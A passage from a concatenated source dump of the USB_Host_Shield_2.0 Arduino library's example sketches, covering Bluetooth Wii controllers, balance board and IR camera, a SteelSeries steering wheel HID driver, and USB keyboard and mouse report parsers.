Serial.print(F("\r\nOSC did not start")); while (1); // Halt } Serial.print(F("\r\nSPP Bluetooth Library Started")); } void loop() { Usb.Task(); // The SPP data is actually not send until this is called, one could call SerialBT.send() directly as well for (uint8_t i = 0; i < length; i++) { if (SerialBT[i]->connected) { if (firstMessage[i]) { firstMessage[i] = false; SerialBT[i]->println(F("Hello from Arduino")); // Send welcome message } if (SerialBT[i]->available()) Serial.write(SerialBT[i]->read()); } else firstMessage[i] = true; } // Set the connection you want to send to using the first character // For instance "0Hello World" would send "Hello World" to connection 0 if (Serial.available()) { delay(10); // Wait for the rest of the data to arrive uint8_t id = Serial.read() - '0'; // Convert from ASCII if (id < length && SerialBT[id]->connected) { // Make sure that the id is valid and make sure that a device is actually connected while (Serial.available()) // Check if data is available SerialBT[id]->write(Serial.read()); // Send the data } } } ================================================ FILE: libraries/USB_Host_Shield_2.0/examples/Bluetooth/Wii/Wii.ino ================================================ /* Example sketch for the Wiimote Bluetooth library - developed by Kristian Lauszus For more information visit my blog: http://blog.tkjelectronics.dk/ or send me an e-mail: kristianl@tkjelectronics.com */ #include #include // Satisfy the IDE, which needs to see the include statment in the ino too. #ifdef dobogusinclude #include #endif #include USB Usb; //USBHub Hub1(&Usb); // Some dongles have a hub inside BTD Btd(&Usb); // You have to create the Bluetooth Dongle instance like so /* You can create the instance of the class in two ways */ WII Wii(&Btd, PAIR); // This will start an inquiry and then pair with your Wiimote - you only have to do this once //WII Wii(&Btd); // After that you can simply create the instance like so and then press any button on the Wiimote bool printAngle; void setup() { Serial.begin(115200); #if !defined(__MIPSEL__) while (!Serial); // Wait for serial port to connect - used on Leonardo, Teensy and other boards with built-in USB CDC serial connection #endif if (Usb.Init() == -1) { Serial.print(F("\r\nOSC did not start")); while (1); //halt } Serial.print(F("\r\nWiimote Bluetooth Library Started")); } void loop() { Usb.Task(); if (Wii.wiimoteConnected) { if (Wii.getButtonClick(HOME)) { // You can use getButtonPress to see if the button is held down Serial.print(F("\r\nHOME")); Wii.disconnect(); } else { if (Wii.getButtonClick(LEFT)) { Wii.setLedOff(); Wii.setLedOn(LED1); Serial.print(F("\r\nLeft")); } if (Wii.getButtonClick(RIGHT)) { Wii.setLedOff(); Wii.setLedOn(LED3); Serial.print(F("\r\nRight")); } if (Wii.getButtonClick(DOWN)) { Wii.setLedOff(); Wii.setLedOn(LED4); Serial.print(F("\r\nDown")); } if (Wii.getButtonClick(UP)) { Wii.setLedOff(); Wii.setLedOn(LED2); Serial.print(F("\r\nUp")); } if (Wii.getButtonClick(PLUS)) Serial.print(F("\r\nPlus")); if (Wii.getButtonClick(MINUS)) Serial.print(F("\r\nMinus")); if (Wii.getButtonClick(ONE)) Serial.print(F("\r\nOne")); if (Wii.getButtonClick(TWO)) Serial.print(F("\r\nTwo")); if (Wii.getButtonClick(A)) { printAngle = !printAngle; Serial.print(F("\r\nA")); } if (Wii.getButtonClick(B)) { Wii.setRumbleToggle(); Serial.print(F("\r\nB")); } } #if 0 // Set this to 1 in order to see the angle of the controllers if (printAngle) { Serial.print(F("\r\nPitch: ")); Serial.print(Wii.getPitch()); Serial.print(F("\tRoll: ")); Serial.print(Wii.getRoll()); if (Wii.motionPlusConnected) { Serial.print(F("\tYaw: ")); Serial.print(Wii.getYaw()); } if (Wii.nunchuckConnected) { Serial.print(F("\tNunchuck Pitch: ")); Serial.print(Wii.getNunchuckPitch()); Serial.print(F("\tNunchuck Roll: ")); Serial.print(Wii.getNunchuckRoll()); } } #endif } #if 0 // Set this to 1 if you are using a Nunchuck controller if (Wii.nunchuckConnected) { if (Wii.getButtonClick(Z)) Serial.print(F("\r\nZ")); if (Wii.getButtonClick(C)) Serial.print(F("\r\nC")); if (Wii.getAnalogHat(HatX) > 137 || Wii.getAnalogHat(HatX) < 117 || Wii.getAnalogHat(HatY) > 137 || Wii.getAnalogHat(HatY) < 117) { Serial.print(F("\r\nHatX: ")); Serial.print(Wii.getAnalogHat(HatX)); Serial.print(F("\tHatY: ")); Serial.print(Wii.getAnalogHat(HatY)); } } #endif } ================================================ FILE: libraries/USB_Host_Shield_2.0/examples/Bluetooth/WiiBalanceBoard/WiiBalanceBoard.ino ================================================ /* Example sketch for the Wii Balance Board Bluetooth library - developed by Kristian Lauszus For more information visit my blog: http://blog.tkjelectronics.dk/ or send me an e-mail: kristianl@tkjelectronics.com */ #include #include // Satisfy the IDE, which needs to see the include statment in the ino too. #ifdef dobogusinclude #include #endif #include USB Usb; //USBHub Hub1(&Usb); // Some dongles have a hub inside BTD Btd(&Usb); // You have to create the Bluetooth Dongle instance like so /* You can create the instance of the class in two ways */ WII Wii(&Btd, PAIR); // This will start an inquiry and then pair with your Wii Balance Board - you only have to do this once //WII Wii(&Btd); // After that you can simply create the instance like so and then press the power button on the Wii Balance Board void setup() { Serial.begin(115200); #if !defined(__MIPSEL__) while (!Serial); // Wait for serial port to connect - used on Leonardo, Teensy and other boards with built-in USB CDC serial connection #endif if (Usb.Init() == -1) { Serial.print(F("\r\nOSC did not start")); while (1); //halt } Serial.print(F("\r\nWii Balance Board Bluetooth Library Started")); } void loop() { Usb.Task(); if (Wii.wiiBalanceBoardConnected) { Serial.print(F("\r\nWeight: ")); for (uint8_t i = 0; i < 4; i++) { Serial.print(Wii.getWeight((BalanceBoardEnum)i)); Serial.print(F("\t")); } Serial.print(F("Total Weight: ")); Serial.print(Wii.getTotalWeight()); if (Wii.getButtonClick(A)) { Serial.print(F("\r\nA")); //Wii.setLedToggle(LED1); // The Wii Balance Board has one LED as well Wii.disconnect(); } } } ================================================ FILE: libraries/USB_Host_Shield_2.0/examples/Bluetooth/WiiIRCamera/WiiIRCamera.ino ================================================ /* Example sketch for the Wii libary showing the IR camera functionality. This example is for the Bluetooth Wii library developed for the USB shield from Circuits@Home Created by Allan Glover and Kristian Lauszus. Contact Kristian: http://blog.tkjelectronics.dk/ or send an email at kristianl@tkjelectronics.com. Contact Allan at adglover9.81@gmail.com To test the Wiimote IR camera, you will need access to an IR source. Sunlight will work but is not ideal. The simpleist solution is to use the Wii sensor bar, i.e. emitter bar, supplied by the Wii system. Otherwise, wire up a IR LED yourself. */ #include #include // Satisfy the IDE, which needs to see the include statment in the ino too. #ifdef dobogusinclude #include #endif #include #ifndef WIICAMERA // Used to check if WIICAMERA is defined #error "Please set ENABLE_WII_IR_CAMERA to 1 in settings.h" #endif USB Usb; //USBHub Hub1(&Usb); // Some dongles have a hub inside BTD Btd(&Usb); // You have to create the Bluetooth Dongle instance like so /* You can create the instance of the class in two ways */ WII Wii(&Btd, PAIR); // This will start an inquiry and then pair with your Wiimote - you only have to do this once //WII Wii(&Btd); // After the Wiimote pairs once with the line of code above, you can simply create the instance like so and re upload and then press any button on the Wiimote bool printAngle; uint8_t printObjects; void setup() { Serial.begin(115200); #if !defined(__MIPSEL__) while (!Serial); // Wait for serial port to connect - used on Leonardo, Teensy and other boards with built-in USB CDC serial connection #endif if (Usb.Init() == -1) { Serial.print(F("\r\nOSC did not start")); while (1); //halt } Serial.print(F("\r\nWiimote Bluetooth Library Started")); } void loop() { Usb.Task(); if (Wii.wiimoteConnected) { if (Wii.getButtonClick(HOME)) { // You can use getButtonPress to see if the button is held down Serial.print(F("\r\nHOME")); Wii.disconnect(); } else { if (Wii.getButtonClick(ONE)) Wii.IRinitialize(); // Run the initialisation sequence if (Wii.getButtonClick(MINUS) || Wii.getButtonClick(PLUS)) { if (!Wii.isIRCameraEnabled()) Serial.print(F("\r\nEnable IR camera first")); else { if (Wii.getButtonPress(MINUS)) { // getButtonClick will only return true once if (printObjects > 0) printObjects--; } else { if (printObjects < 4) printObjects++; } Serial.print(F("\r\nTracking ")); Serial.print(printObjects); Serial.print(F(" objects")); } } if (Wii.getButtonClick(A)) { printAngle = !printAngle; Serial.print(F("\r\nA")); } if (Wii.getButtonClick(B)) { Serial.print(F("\r\nBattery level: ")); Serial.print(Wii.getBatteryLevel()); // You can get the battery level as well } } if (printObjects > 0) { if (Wii.getIRx1() != 0x3FF || Wii.getIRy1() != 0x3FF || Wii.getIRs1() != 0) { // Only print if the IR camera is actually seeing something Serial.print(F("\r\nx1: ")); Serial.print(Wii.getIRx1()); Serial.print(F("\ty1: ")); Serial.print(Wii.getIRy1()); Serial.print(F("\ts1:")); Serial.print(Wii.getIRs1()); } if (printObjects > 1) { if (Wii.getIRx2() != 0x3FF || Wii.getIRy2() != 0x3FF || Wii.getIRs2() != 0) { Serial.print(F("\r\nx2: ")); Serial.print(Wii.getIRx2()); Serial.print(F("\ty2: ")); Serial.print(Wii.getIRy2()); Serial.print(F("\ts2:")); Serial.print(Wii.getIRs2()); } if (printObjects > 2) { if (Wii.getIRx3() != 0x3FF || Wii.getIRy3() != 0x3FF || Wii.getIRs3() != 0) { Serial.print(F("\r\nx3: ")); Serial.print(Wii.getIRx3()); Serial.print(F("\ty3: ")); Serial.print(Wii.getIRy3()); Serial.print(F("\ts3:")); Serial.print(Wii.getIRs3()); } if (printObjects > 3) { if (Wii.getIRx4() != 0x3FF || Wii.getIRy4() != 0x3FF || Wii.getIRs4() != 0) { Serial.print(F("\r\nx4: ")); Serial.print(Wii.getIRx4()); Serial.print(F("\ty4: ")); Serial.print(Wii.getIRy4()); Serial.print(F("\ts4:")); Serial.print(Wii.getIRs4()); } } } } } if (printAngle) { // There is no extension bytes available, so the MotionPlus or Nunchuck can't be read Serial.print(F("\r\nPitch: ")); Serial.print(Wii.getPitch()); Serial.print(F("\tRoll: ")); Serial.print(Wii.getRoll()); } } } ================================================ FILE: libraries/USB_Host_Shield_2.0/examples/Bluetooth/WiiMulti/WiiMulti.ino ================================================ /* Example sketch for the Wiimote Bluetooth library - developed by Kristian Lauszus This example show how one can use multiple controllers with the library For more information visit my blog: http://blog.tkjelectronics.dk/ or send me an e-mail: kristianl@tkjelectronics.com */ #include #include // Satisfy the IDE, which needs to see the include statment in the ino too. #ifdef dobogusinclude #include #endif #include USB Usb; //USBHub Hub1(&Usb); // Some dongles have a hub inside BTD Btd(&Usb); // You have to create the Bluetooth Dongle instance like so WII *Wii[2]; // We will use this pointer to store the two instance, you can easily make it larger if you like, but it will use a lot of RAM! const uint8_t length = sizeof(Wii) / sizeof(Wii[0]); // Get the lenght of the array bool printAngle[length]; bool oldControllerState[length]; void setup() { for (uint8_t i = 0; i < length; i++) { Wii[i] = new WII(&Btd); // You will have to pair each controller with the dongle before you can define the instances like so, just add PAIR as the second argument Wii[i]->attachOnInit(onInit); // onInit() is called upon a new connection - you can call the function whatever you like } Serial.begin(115200); #if !defined(__MIPSEL__) while (!Serial); // Wait for serial port to connect - used on Leonardo, Teensy and other boards with built-in USB CDC serial connection #endif if (Usb.Init() == -1) { Serial.print(F("\r\nOSC did not start")); while (1); //halt } Serial.print(F("\r\nWiimote Bluetooth Library Started")); } void loop() { Usb.Task(); for (uint8_t i = 0; i < length; i++) { if (Wii[i]->wiimoteConnected) { if (Wii[i]->getButtonClick(HOME)) { // You can use getButtonPress to see if the button is held down Serial.print(F("\r\nHOME")); Wii[i]->disconnect(); oldControllerState[i] = false; // Reset value } else { if (Wii[i]->getButtonClick(LEFT)) { Wii[i]->setLedOff(); Wii[i]->setLedOn(LED1); Serial.print(F("\r\nLeft")); } if (Wii[i]->getButtonClick(RIGHT)) { Wii[i]->setLedOff(); Wii[i]->setLedOn(LED3); Serial.print(F("\r\nRight")); } if (Wii[i]->getButtonClick(DOWN)) { Wii[i]->setLedOff(); Wii[i]->setLedOn(LED4); Serial.print(F("\r\nDown")); } if (Wii[i]->getButtonClick(UP)) { Wii[i]->setLedOff(); Wii[i]->setLedOn(LED2); Serial.print(F("\r\nUp")); } if (Wii[i]->getButtonClick(PLUS)) Serial.print(F("\r\nPlus")); if (Wii[i]->getButtonClick(MINUS)) Serial.print(F("\r\nMinus")); if (Wii[i]->getButtonClick(ONE)) Serial.print(F("\r\nOne")); if (Wii[i]->getButtonClick(TWO)) Serial.print(F("\r\nTwo")); if (Wii[i]->getButtonClick(A)) { printAngle[i] = !printAngle[i]; Serial.print(F("\r\nA")); } if (Wii[i]->getButtonClick(B)) { Wii[i]->setRumbleToggle(); Serial.print(F("\r\nB")); } } if (printAngle[i]) { Serial.print(F("\r\nPitch: ")); Serial.print(Wii[i]->getPitch()); Serial.print(F("\tRoll: ")); Serial.print(Wii[i]->getRoll()); if (Wii[i]->motionPlusConnected) { Serial.print(F("\tYaw: ")); Serial.print(Wii[i]->getYaw()); } if (Wii[i]->nunchuckConnected) { Serial.print(F("\tNunchuck Pitch: ")); Serial.print(Wii[i]->getNunchuckPitch()); Serial.print(F("\tNunchuck Roll: ")); Serial.print(Wii[i]->getNunchuckRoll()); } } } if (Wii[i]->nunchuckConnected) { if (Wii[i]->getButtonClick(Z)) Serial.print(F("\r\nZ")); if (Wii[i]->getButtonClick(C)) Serial.print(F("\r\nC")); if (Wii[i]->getAnalogHat(HatX) > 137 || Wii[i]->getAnalogHat(HatX) < 117 || Wii[i]->getAnalogHat(HatY) > 137 || Wii[i]->getAnalogHat(HatY) < 117) { Serial.print(F("\r\nHatX: ")); Serial.print(Wii[i]->getAnalogHat(HatX)); Serial.print(F("\tHatY: ")); Serial.print(Wii[i]->getAnalogHat(HatY)); } } } } void onInit() { for (uint8_t i = 0; i < length; i++) { if (Wii[i]->wiimoteConnected && !oldControllerState[i]) { oldControllerState[i] = true; // Used to check which is the new controller Wii[i]->setLedOn((LEDEnum)(i + 1)); // Cast directly to LEDEnum - see: "controllerEnums.h" } } } ================================================ FILE: libraries/USB_Host_Shield_2.0/examples/Bluetooth/WiiUProController/WiiUProController.ino ================================================ /* Example sketch for the Wiimote Bluetooth library - developed by Kristian Lauszus For more information visit my blog: http://blog.tkjelectronics.dk/ or send me an e-mail: kristianl@tkjelectronics.com */ #include #include // Satisfy the IDE, which needs to see the include statment in the ino too. #ifdef dobogusinclude #include #endif #include USB Usb; //USBHub Hub1(&Usb); // Some dongles have a hub inside BTD Btd(&Usb); // You have to create the Bluetooth Dongle instance like so /* You can create the instance of the class in two ways */ WII Wii(&Btd, PAIR); // This will start an inquiry and then pair with your Wiimote - you only have to do this once //WII Wii(&Btd); // After that you can simply create the instance like so and then press any button on the Wiimote void setup() { Serial.begin(115200); #if !defined(__MIPSEL__) while (!Serial); // Wait for serial port to connect - used on Leonardo, Teensy and other boards with built-in USB CDC serial connection #endif if (Usb.Init() == -1) { Serial.print(F("\r\nOSC did not start")); while (1); //halt } Serial.print(F("\r\nWiimote Bluetooth Library Started")); } void loop() { Usb.Task(); if (Wii.wiiUProControllerConnected) { if (Wii.getButtonClick(HOME)) { // You can use getButtonPress to see if the button is held down Serial.print(F("\r\nHome")); Wii.disconnect(); } else { if (Wii.getButtonClick(LEFT)) { Wii.setLedOff(); Wii.setLedOn(LED1); Serial.print(F("\r\nLeft")); } if (Wii.getButtonClick(RIGHT)) { Wii.setLedOff(); Wii.setLedOn(LED3); Serial.print(F("\r\nRight")); } if (Wii.getButtonClick(DOWN)) { Wii.setLedOff(); Wii.setLedOn(LED4); Serial.print(F("\r\nDown")); } if (Wii.getButtonClick(UP)) { Wii.setLedOff(); Wii.setLedOn(LED2); Serial.print(F("\r\nUp")); } if (Wii.getButtonClick(PLUS)) Serial.print(F("\r\nPlus")); if (Wii.getButtonClick(MINUS)) Serial.print(F("\r\nMinus")); if (Wii.getButtonClick(A)) Serial.print(F("\r\nA")); if (Wii.getButtonClick(B)) { Wii.setRumbleToggle(); Serial.print(F("\r\nB")); } if (Wii.getButtonClick(X)) Serial.print(F("\r\nX")); if (Wii.getButtonClick(Y)) Serial.print(F("\r\nY")); if (Wii.getButtonClick(L)) Serial.print(F("\r\nL")); if (Wii.getButtonClick(R)) Serial.print(F("\r\nR")); if (Wii.getButtonClick(ZL)) Serial.print(F("\r\nZL")); if (Wii.getButtonClick(ZR)) Serial.print(F("\r\nZR")); if (Wii.getButtonClick(L3)) Serial.print(F("\r\nL3")); if (Wii.getButtonClick(R3)) Serial.print(F("\r\nR3")); } if (Wii.getAnalogHat(LeftHatX) > 2200 || Wii.getAnalogHat(LeftHatX) < 1800 || Wii.getAnalogHat(LeftHatY) > 2200 || Wii.getAnalogHat(LeftHatY) < 1800 || Wii.getAnalogHat(RightHatX) > 2200 || Wii.getAnalogHat(RightHatX) < 1800 || Wii.getAnalogHat(RightHatY) > 2200 || Wii.getAnalogHat(RightHatY) < 1800) { Serial.print(F("\r\nLeftHatX: ")); Serial.print(Wii.getAnalogHat(LeftHatX)); Serial.print(F("\tLeftHatY: ")); Serial.print(Wii.getAnalogHat(LeftHatY)); Serial.print(F("\tRightHatX: ")); Serial.print(Wii.getAnalogHat(RightHatX)); Serial.print(F("\tRightHatY: ")); Serial.print(Wii.getAnalogHat(RightHatY)); } } } ================================================ FILE: libraries/USB_Host_Shield_2.0/examples/HID/SRWS1/SRWS1.cpp ================================================ /* Copyright (C) 2016 Kristian Lauszus, TKJ Electronics. All rights reserved. This software may be distributed and modified under the terms of the GNU General Public License version 2 (GPL2) as published by the Free Software Foundation and appearing in the file GPL2.TXT included in the packaging of this file. Please note that GPL2 Section 2[b] requires that all works based on this software must also be made publicly available under the terms of the GPL2 ("Copyleft"). Contact information ------------------- Kristian Lauszus, TKJ Electronics Web : http://www.tkjelectronics.com e-mail : kristianl@tkjelectronics.com */ #include "SRWS1.h" void SRWS1::ParseHIDData(USBHID *hid, bool is_rpt_id, uint8_t len, uint8_t *buf) { if (HIDUniversal::VID != STEELSERIES_VID || HIDUniversal::PID != STEELSERIES_SRWS1_PID) // Make sure the right device is actually connected return; #if 0 if (len && buf) { Notify(PSTR("\r\n"), 0x80); for (uint8_t i = 0; i < len; i++) { D_PrintHex (buf[i], 0x80); Notify(PSTR(" "), 0x80); } } #endif memcpy(&srws1Data, buf, min(len, MFK_CASTUINT8T sizeof(srws1Data))); static SRWS1DataButtons oldButtonState; if (srws1Data.btn.val != oldButtonState.val) { // Check if anything has changed buttonClickState.val = srws1Data.btn.val & ~oldButtonState.val; // Update click state variable oldButtonState.val = srws1Data.btn.val; } } // See: https://github.com/torvalds/linux/blob/master/drivers/hid/hid-steelseries.c void SRWS1::setLeds(uint16_t leds) { uint8_t buf[3]; buf[0] = 0x40; // Report ID buf[1] = leds & 0xFF; buf[2] = (leds >> 8) & 0x7F; pUsb->outTransfer(bAddress, epInfo[ hidInterfaces[0].epIndex[epInterruptOutIndex] ].epAddr, sizeof(buf), buf); } ================================================ FILE: libraries/USB_Host_Shield_2.0/examples/HID/SRWS1/SRWS1.h ================================================ /* Copyright (C) 2016 Kristian Lauszus, TKJ Electronics. All rights reserved. This software may be distributed and modified under the terms of the GNU General Public License version 2 (GPL2) as published by the Free Software Foundation and appearing in the file GPL2.TXT included in the packaging of this file. Please note that GPL2 Section 2[b] requires that all works based on this software must also be made publicly available under the terms of the GPL2 ("Copyleft"). Contact information ------------------- Kristian Lauszus, TKJ Electronics Web : http://www.tkjelectronics.com e-mail : kristianl@tkjelectronics.com */ #ifndef __srws1_h__ #define __srws1_h__ #include #define STEELSERIES_VID 0x1038 #define STEELSERIES_SRWS1_PID 0x1410 enum DPADEnum { DPAD_UP = 0x0, DPAD_UP_RIGHT = 0x1, DPAD_RIGHT = 0x2, DPAD_RIGHT_DOWN = 0x3, DPAD_DOWN = 0x4, DPAD_DOWN_LEFT = 0x5, DPAD_LEFT = 0x6, DPAD_LEFT_UP = 0x7, DPAD_OFF = 0xF, }; union SRWS1DataButtons { struct { uint8_t dpad : 4; uint8_t dummy : 3; uint8_t select : 1; uint8_t back : 1; uint8_t lookLeft : 1; uint8_t lights : 1; uint8_t lookBack : 1; uint8_t rearBrakeBalance : 1; uint8_t frontBrakeBalance : 1; uint8_t requestPit : 1; uint8_t leftGear : 1; uint8_t camera : 1; uint8_t lookRight : 1; uint8_t boost : 1; uint8_t horn : 1; uint8_t hud : 1; uint8_t launchControl : 1; uint8_t speedLimiter : 1; uint8_t rightGear : 1; } __attribute__((packed)); uint32_t val : 24; } __attribute__((packed)); struct SRWS1Data { int16_t tilt; // Range [-1800:1800] uint16_t rightTrigger : 12; // Range [0:1023] i.e. only 10 bits uint16_t leftTrigger : 12; // Range [0:1023] i.e. only 10 bits SRWS1DataButtons btn; uint8_t assists : 4; uint8_t steeringSensitivity : 4; uint8_t assistValues : 4; } __attribute__((packed)); class SRWS1 : public HIDUniversal { public: SRWS1(USB *p) : HIDUniversal(p) {}; bool connected() { return HIDUniversal::isReady() && HIDUniversal::VID == STEELSERIES_VID && HIDUniversal::PID == STEELSERIES_SRWS1_PID; }; void setLeds(uint16_t leds); SRWS1Data srws1Data; SRWS1DataButtons buttonClickState; private: void ParseHIDData(USBHID *hid, bool is_rpt_id, uint8_t len, uint8_t *buf); // Called by the HIDUniversal library uint8_t OnInitSuccessful() { // Called by the HIDUniversal library on success if (HIDUniversal::VID != STEELSERIES_VID || HIDUniversal::PID != STEELSERIES_SRWS1_PID) // Make sure the right device is actually connected return 1; setLeds(0); return 0; }; }; #endif ================================================ FILE: libraries/USB_Host_Shield_2.0/examples/HID/SRWS1/SRWS1.ino ================================================ /* Example sketch for the SteelSeries SRW-S1 Steering Wheel - developed by Kristian Lauszus For more information visit my blog: http://blog.tkjelectronics.dk/ or send me an e-mail: kristianl@tkjelectronics.com */ #include #include "SRWS1.h" USB Usb; SRWS1 srw1(&Usb); bool printTilt; void setup() { Serial.begin(115200); #if !defined(__MIPSEL__) while (!Serial); // Wait for serial port to connect - used on Leonardo, Teensy and other boards with built-in USB CDC serial connection #endif if (Usb.Init() == -1) { Serial.print(F("\r\nOSC did not start")); while (1); // Halt } Serial.println(F("\r\nSteelSeries SRW-S1 Steering Wheel example started")); } void loop() { Usb.Task(); if (srw1.connected()) { if (printTilt) { // Show tilt angle using the LEDs srw1.setLeds(1 << map(srw1.srws1Data.tilt, -1800, 1800, 0, 14)); // Turn on a LED according to tilt value Serial.println(srw1.srws1Data.tilt); } else { // Show strobe light effect static uint32_t timer; if ((int32_t)((uint32_t)millis() - timer) > 12) { timer = (uint32_t)millis(); // Reset timer static uint16_t leds = 0; //PrintHex (leds, 0x80); Serial.println(); srw1.setLeds(leds); // Update LEDs static bool dirUp = true; if (dirUp) { leds <<= 1; if (leds == 0x8000) // All are actually turned off, as there is only 15 LEDs dirUp = false; // If we have reached the end i.e. all LEDs are off, then change direction else if (!(leds & 0x8000)) // If last bit is not set, then set the lowest bit leds |= 1; // Set lowest bit } else { leds >>= 1; if (leds == 0) // Check if all LEDs are off dirUp = true; // If all LEDs are off, then repeat the sequence else if (!(leds & 0x1)) // If last bit is not set, then set the top bit leds |= 1 << 15; // Set top bit } } } if (srw1.srws1Data.leftTrigger) { Serial.print(F("L2: ")); Serial.println(srw1.srws1Data.leftTrigger); } if (srw1.srws1Data.rightTrigger) { Serial.print(F("R2: ")); Serial.println(srw1.srws1Data.rightTrigger); } if (srw1.buttonClickState.select) { srw1.buttonClickState.select = 0; // Clear event Serial.println(F("Select")); printTilt = !printTilt; // Print tilt value & show it using the LEDs as well } if (srw1.buttonClickState.back) { srw1.buttonClickState.back = 0; // Clear event Serial.println(F("Back")); } if (srw1.buttonClickState.lookLeft) { srw1.buttonClickState.lookLeft = 0; // Clear event Serial.println(F("Look Left")); } if (srw1.buttonClickState.lights) { srw1.buttonClickState.lights = 0; // Clear event Serial.println(F("Lights")); } if (srw1.buttonClickState.lookBack) { srw1.buttonClickState.lookBack = 0; // Clear event Serial.println(F("Look Back")); } if (srw1.buttonClickState.rearBrakeBalance) { srw1.buttonClickState.rearBrakeBalance = 0; // Clear event Serial.println(F("R. Brake Balance")); } if (srw1.buttonClickState.frontBrakeBalance) { srw1.buttonClickState.frontBrakeBalance = 0; // Clear event Serial.println(F("F. Brake Balance")); } if (srw1.buttonClickState.requestPit) { srw1.buttonClickState.requestPit = 0; // Clear event Serial.println(F("Request Pit")); } if (srw1.buttonClickState.leftGear) { srw1.buttonClickState.leftGear = 0; // Clear event Serial.println(F("Left Gear")); } if (srw1.buttonClickState.camera) { srw1.buttonClickState.camera = 0; // Clear event Serial.println(F("Camera")); } if (srw1.buttonClickState.lookRight) { srw1.buttonClickState.lookRight = 0; // Clear event Serial.println(F("Look right")); } if (srw1.buttonClickState.boost) { srw1.buttonClickState.boost = 0; // Clear event Serial.println(F("Boost")); } if (srw1.buttonClickState.horn) { srw1.buttonClickState.horn = 0; // Clear event Serial.println(F("Horn")); } if (srw1.buttonClickState.hud) { srw1.buttonClickState.hud = 0; // Clear event Serial.println(F("HUD")); } if (srw1.buttonClickState.launchControl) { srw1.buttonClickState.launchControl = 0; // Clear event Serial.println(F("Launch Control")); } if (srw1.buttonClickState.speedLimiter) { srw1.buttonClickState.speedLimiter = 0; // Clear event Serial.println(F("Speed Limiter")); } if (srw1.buttonClickState.rightGear) { srw1.buttonClickState.rightGear = 0; // Clear event Serial.println(F("Right gear")); } if (srw1.srws1Data.assists) Serial.println(srw1.srws1Data.assists); if (srw1.srws1Data.steeringSensitivity) Serial.println(srw1.srws1Data.steeringSensitivity); if (srw1.srws1Data.assistValues) Serial.println(srw1.srws1Data.assistValues); switch (srw1.srws1Data.btn.dpad) { case DPAD_UP: Serial.println(F("Up")); break; case DPAD_UP_RIGHT: Serial.println(F("UP & right")); break; case DPAD_RIGHT: Serial.println(F("Right")); break; case DPAD_RIGHT_DOWN: Serial.println(F("Right & down")); break; case DPAD_DOWN: Serial.println(F("Down")); break; case DPAD_DOWN_LEFT: Serial.println(F("Down & left")); break; case DPAD_LEFT: Serial.println(F("Left")); break; case DPAD_LEFT_UP: Serial.println(F("Left & up")); break; case DPAD_OFF: break; default: Serial.print(F("Unknown state: ")); PrintHex (srw1.srws1Data.btn.dpad, 0x80); Serial.println(); break; } } } ================================================ FILE: libraries/USB_Host_Shield_2.0/examples/HID/USBHIDBootKbd/USBHIDBootKbd.ino ================================================ #include #include // Satisfy the IDE, which needs to see the include statment in the ino too. #ifdef dobogusinclude #include #endif #include class KbdRptParser : public KeyboardReportParser { void PrintKey(uint8_t mod, uint8_t key); protected: void OnControlKeysChanged(uint8_t before, uint8_t after); void OnKeyDown (uint8_t mod, uint8_t key); void OnKeyUp (uint8_t mod, uint8_t key); void OnKeyPressed(uint8_t key); }; void KbdRptParser::PrintKey(uint8_t m, uint8_t key) { MODIFIERKEYS mod; *((uint8_t*)&mod) = m; Serial.print((mod.bmLeftCtrl == 1) ? "C" : " "); Serial.print((mod.bmLeftShift == 1) ? "S" : " "); Serial.print((mod.bmLeftAlt == 1) ? "A" : " "); Serial.print((mod.bmLeftGUI == 1) ? "G" : " "); Serial.print(" >"); PrintHex(key, 0x80); Serial.print("< "); Serial.print((mod.bmRightCtrl == 1) ? "C" : " "); Serial.print((mod.bmRightShift == 1) ? "S" : " "); Serial.print((mod.bmRightAlt == 1) ? "A" : " "); Serial.println((mod.bmRightGUI == 1) ? "G" : " "); }; void KbdRptParser::OnKeyDown(uint8_t mod, uint8_t key) { Serial.print("DN "); PrintKey(mod, key); uint8_t c = OemToAscii(mod, key); if (c) OnKeyPressed(c); } void KbdRptParser::OnControlKeysChanged(uint8_t before, uint8_t after) { MODIFIERKEYS beforeMod; *((uint8_t*)&beforeMod) = before; MODIFIERKEYS afterMod; *((uint8_t*)&afterMod) = after; if (beforeMod.bmLeftCtrl != afterMod.bmLeftCtrl) { Serial.println("LeftCtrl changed"); } if (beforeMod.bmLeftShift != afterMod.bmLeftShift) { Serial.println("LeftShift changed"); } if (beforeMod.bmLeftAlt != afterMod.bmLeftAlt) { Serial.println("LeftAlt changed"); } if (beforeMod.bmLeftGUI != afterMod.bmLeftGUI) { Serial.println("LeftGUI changed"); } if (beforeMod.bmRightCtrl != afterMod.bmRightCtrl) { Serial.println("RightCtrl changed"); } if (beforeMod.bmRightShift != afterMod.bmRightShift) { Serial.println("RightShift changed"); } if (beforeMod.bmRightAlt != afterMod.bmRightAlt) { Serial.println("RightAlt changed"); } if (beforeMod.bmRightGUI != afterMod.bmRightGUI) { Serial.println("RightGUI changed"); } } void KbdRptParser::OnKeyUp(uint8_t mod, uint8_t key) { Serial.print("UP "); PrintKey(mod, key); } void KbdRptParser::OnKeyPressed(uint8_t key) { Serial.print("ASCII: "); Serial.println((char)key); }; USB Usb; //USBHub Hub(&Usb); HIDBoot HidKeyboard(&Usb); KbdRptParser Prs; void setup() { Serial.begin( 115200 ); #if !defined(__MIPSEL__) while (!Serial); // Wait for serial port to connect - used on Leonardo, Teensy and other boards with built-in USB CDC serial connection #endif Serial.println("Start"); if (Usb.Init() == -1) Serial.println("OSC did not start."); delay( 200 ); HidKeyboard.SetReportParser(0, &Prs); } void loop() { Usb.Task(); } ================================================ FILE: libraries/USB_Host_Shield_2.0/examples/HID/USBHIDBootKbdAndMouse/USBHIDBootKbdAndMouse.ino ================================================ #include #include // Satisfy IDE, which only needs to see the include statment in the ino. #ifdef dobogusinclude #include #endif #include class MouseRptParser : public MouseReportParser { protected: void OnMouseMove(MOUSEINFO *mi); void OnLeftButtonUp(MOUSEINFO *mi); void OnLeftButtonDown(MOUSEINFO *mi); void OnRightButtonUp(MOUSEINFO *mi); void OnRightButtonDown(MOUSEINFO *mi); void OnMiddleButtonUp(MOUSEINFO *mi); void OnMiddleButtonDown(MOUSEINFO *mi); }; void MouseRptParser::OnMouseMove(MOUSEINFO *mi) { Serial.print("dx="); Serial.print(mi->dX, DEC); Serial.print(" dy="); Serial.println(mi->dY, DEC); }; void MouseRptParser::OnLeftButtonUp (MOUSEINFO *mi) { Serial.println("L Butt Up"); }; void MouseRptParser::OnLeftButtonDown (MOUSEINFO *mi) { Serial.println("L Butt Dn"); }; void MouseRptParser::OnRightButtonUp (MOUSEINFO *mi) { Serial.println("R Butt Up"); }; void 